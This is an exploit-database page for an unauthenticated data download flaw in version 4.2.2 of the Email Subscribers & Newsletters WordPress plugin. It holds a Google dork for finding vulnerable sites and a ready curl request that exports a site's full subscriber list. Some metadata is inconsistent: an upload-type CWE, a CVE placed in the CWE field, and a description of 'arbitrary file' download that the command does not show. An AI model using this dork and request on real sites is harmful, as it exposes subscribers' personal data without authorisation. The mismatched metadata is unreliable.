WordPress Plugin Email Subscribers & Newsletters 4.2.2 - Unauthenticated File Download

vendor:

Email Subscribers & Newsletters

by:

KBA@SOGETI_ESEC

5.3

CVSS

MEDIUM

Unauthenticated File Download

434

CWE

Product Name: Email Subscribers & Newsletters

Affected Version From: 4.2.2

Affected Version To: 4.2.2

Patch Exists: YES

Related CWE: CVE-2019-19985

CPE: 2.3:a:wordpress:email_subscribers_&_newsletters:4.2.2

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: None

2020

WordPress Plugin Email Subscribers & Newsletters 4.2.2 – Unauthenticated File Download

A vulnerability in WordPress Plugin Email Subscribers & Newsletters 4.2.2 allows an unauthenticated attacker to download arbitrary files from the server. This is due to the lack of input validation in the 'es_file_download' function, which allows an attacker to download any file from the server. This vulnerability can be exploited by sending a specially crafted HTTP request to the vulnerable server.

Mitigation:

Update to version 4.2.3 or later to mitigate this vulnerability.

Source

Exploit-DB raw data:

# Exploit Title: WordPress Plugin Email Subscribers & Newsletters 4.2.2 - Unauthenticated File Download
# Google Dork: "Stable tag" inurl:wp-content/plugins/email-subscribers/readme.txt
# Date: 2020-07-20
# Exploit Author: KBA@SOGETI_ESEC
# Vendor Homepage: https://www.icegram.com/email-subscribers/
# Software Link: https://pluginarchive.com/wordpress/email-subscribers/v/4-2-2
# Version: <= 4.2.2
# Tested on: Email Subscribers & Newsletters 4.2.2
# CVE : CVE-2019-19985

 ################################################################################################
 #             ___         ___         ___         ___      ___                                 #
 #            /\  \       /\  \       /\  \       /\  \    /\  \        ___                     #
 #           /::\  \     /::\  \     /::\  \     /::\  \   \:\  \      /\  \                    #
 #          /:/\ \  \   /:/\:\  \   /:/\:\  \   /:/\:\  \   \:\  \     \:\  \                   #
 #         _\:\~\ \  \ /:/  \:\  \ /:/  \:\  \ /::\~\:\  \  /::\  \    /::\__\                  #
 #        /\ \:\ \ \__/:/__/ \:\__/:/__/_\:\__/:/\:\ \:\__\/:/\:\__\__/:/\/__/                  #
 #        \:\ \:\ \/__\:\  \ /:/  \:\  /\ \/__\:\~\:\ \/__/:/  \/__/\/:/  /                     #
 #         \:\ \:\__\  \:\  /:/  / \:\ \:\__\  \:\ \:\__\/:/  /    \::/__/                      #
 #          \:\/:/  /   \:\/:/  /   \:\/:/  /   \:\ \/__/\/__/      \:\__\                      #
 #           \::/  /     \::/  /     \::/  /     \:\__\              \/__/                      #
 #            \/__/       \/__/       \/__/       \/__/                                         #
 #                                                 ___         ___         ___         ___      #
 #                                                /\  \       /\  \       /\  \       /\  \     #
 #                                               /::\  \     /::\  \     /::\  \     /::\  \    #
 #                EXPLOIT                       /:/\:\  \   /:/\ \  \   /:/\:\  \   /:/\:\  \   #
 # Email Subscribers & Newsletters <= 4.2.2    /::\~\:\  \ _\:\~\ \  \ /::\~\:\  \ /:/  \:\  \  #
 #   Unauthenticated File Download            /:/\:\ \:\__/\ \:\ \ \__/:/\:\ \:\__/:/__/ \:\__\ #
 #                                            \:\~\:\ \/__\:\ \:\ \/__\:\~\:\ \/__\:\  \  \/__/ #
 #                                             \:\ \:\__\  \:\ \:\__\  \:\ \:\__\  \:\  \       #
 #                                              \:\ \/__/   \:\/:/  /   \:\ \/__/   \:\  \      #
 #                                               \:\__\      \::/  /     \:\__\      \:\__\     #
 #                                    KBAZ        \/__/       \/__/       \/__/       \/__/     #
 #                                                                                              #
 #                                                                                              #
 ################################################################################################


curl [BASE_URL]'/wp-admin/admin.php?page=download_report&report=users&status=all'
EXAMPLE: curl 'http://127.0.0.1/wp-admin/admin.php?page=download_report&report=users&status=all'